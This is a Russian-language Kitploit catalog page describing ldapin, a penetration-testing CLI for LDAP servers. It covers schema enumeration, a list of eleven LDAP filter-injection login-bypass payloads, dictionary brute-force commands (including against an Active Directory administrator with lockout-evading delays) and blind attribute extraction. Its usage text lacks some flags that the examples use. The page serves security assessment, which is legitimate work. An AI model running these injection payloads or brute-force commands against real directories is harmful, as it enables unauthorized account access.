Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ldapin — CLI-инструмент для выполнения базовых задач LDAP в рамках оценки безопасности | Kitploit
Инструменты/GitHubGitHub/affolter-engineering/ldapin
РазведкаАтаки на ПаролиАнализ уязвимостейСбор информацииТестирование на ПроникновениеАутентификация
GitHubaffolter-engineering/ldapin

ldapin

CLI-инструмент для выполнения базовых задач LDAP в рамках оценки безопасности

Репозиторий
1293 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ldapin

CLI-инструмент, который обнаруживает допустимые поля LDAP путём запроса подссхемы LDAP-сервера. Он читает attributeTypes и objectClasses непосредственно с сервера, поэтому результаты всегда отражают то, что сервер действительно поддерживает.

Возможности

  • Перечисляет все типы атрибутов с OID, синтаксисом, кардинальностью, псевдонимами и описанием
  • Перечисляет все классы объектов с видом (structural/auxiliary/abstract), обязательными/необязательными атрибутами и цепочкой суперклассов
  • Фильтр по подстроке в имени или описании
  • Три формата вывода: table, JSON, CSV
  • Анонимная и аутентифицированная (простая) привязка
  • Обычный LDAP, LDAPS и STARTTLS

Установка

Nix (рекомендуется)

# Run directly without installing
nix run github:your-user/ldapin

# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin

Для пользователей Nix или NixOS доступен пакет. Учтите, что последние релизы могут присутствовать только в канале unstable.

nix-env -iA nixos.lapin

Из локальной копии репозитория:

nix run .
nix build .

Cargo

cargo install --path .

Использование

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP server URL [default: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     Bind DN (omit for anonymous bind)
  -w, --password <PASSWORD>   Bind password
  -W, --prompt-password       Prompt for bind password interactively
  -f, --filter <FILTER>       Substring filter on name or description
  -c, --object-class <NAME>   Limit to a specific object class (with -m object-classes)
  -m, --mode <MODE>           What to show: attributes, object-classes, both [default: attributes]
  -o, --output <OUTPUT>       Output format: table, json, csv [default: table]
  -b, --base-dn <BASE_DN>     Base DN to search under (required for --mode login-bypass)
      --user-attr <ATTR>      User attribute name for login-bypass probes [default: uid]
      --pass-attr <ATTR>      Password attribute name for login-bypass probes [default: userPassword]
  -u, --target-user <USER>    Target username for login-bypass probes
      --starttls              Upgrade connection with STARTTLS
      --insecure              Skip TLS certificate verification
  -h, --help                  Print help
  -V, --version               Print version

Примеры

Перечислить все типы атрибутов на локальном сервере:

ldapin

Аутентифицироваться и перечислить все классы объектов:

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

Найти все атрибуты, связанные с mail:

ldapin -H ldap://ldap.example.org -f mail

Показать всё в JSON:

ldapin -H ldaps://ldap.example.org -m both -o json

Экспортировать все атрибуты в CSV:

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

Показать запись класса объекта inetOrgPerson:

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

Подключиться с STARTTLS:

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

Тестирование с публичным LDAP-сервером ForumSys

ForumSys предоставляет бесплатный LDAP-сервер только для чтения, подходящий для тестирования.

ПараметрЗначение
Hostldap.forumsys.com
Port389
Bind DNcn=read-only-admin,dc=example,dc=com
Passwordpassword
Base DNdc=example,dc=com

Перечислить все типы атрибутов (анонимная привязка):

ldapin -H ldap://ldap.forumsys.com

Перечислить все типы атрибутов (аутентифицированно):

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

Перечислить все классы объектов:

ldapin -H ldap://ldap.forumsys.com -m object-classes

Показать класс объекта inetOrgPerson:

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

Отфильтровать атрибуты по имени:

ldapin -H ldap://ldap.forumsys.com -f mail

Экспортировать всё в JSON:

ldapin -H ldap://ldap.forumsys.com -m both -o json

Тестирование обхода аутентификации

Режим login-bypass проверяет LDAP-сервер на уязвимости к инъекции фильтров. Он формирует 11 полезных нагрузок, основанных на известных техниках LDAP-инъекций, и сообщает, какие из них возвращают записи. Тот же результат выдало бы уязвимое веб-приложение, если бы оно строило свой фильтр аутентификации из неочищенного пользовательского ввода.

# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

Проверяемые полезные нагрузки:

Полезная нагрузкаШаблон фильтра
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

Пример с ForumSys

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

Атака по словарю

Режим brute-force сначала определяет полный DN целевого пользователя через LDAP-поиск, затем пытается выполнить simple_bind(dn, password) для каждой строки словаря, останавливаясь на первом успехе.

Обязательные флаги: -b / --base-dn, -u / --target-user, --wordlist.

# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# JSON output
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

Прогресс (определение DN, число попыток, результат) записывается в stderr; результат идёт в stdout, поэтому -o json и -o csv корректно работают в конвейере.

Пример с ForumSys

# Create a small wordlist with the known password
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

Слепое извлечение атрибутов

Режим blind-extract восстанавливает значение любого читаемого атрибута по одному символу за раз, многократно проверяя фильтры с подстановочным суффиксом:

(&(uid=TARGET)(mail=a*))   -> no entries
(&(uid=TARGET)(mail=e*))   -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*))  -> entries found -> 'ei'
...

Это прямой LDAP-эквивалент классического цикла слепой инъекции, применяемого против уязвимых веб-приложений, которые строят LDAP-фильтры из неочищенного ввода.

Обязательные флаги: -b / --base-dn, -u / --target-user, --extract-attr.

# Extract the mail attribute for user "einstein"
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail
Скачать инструмент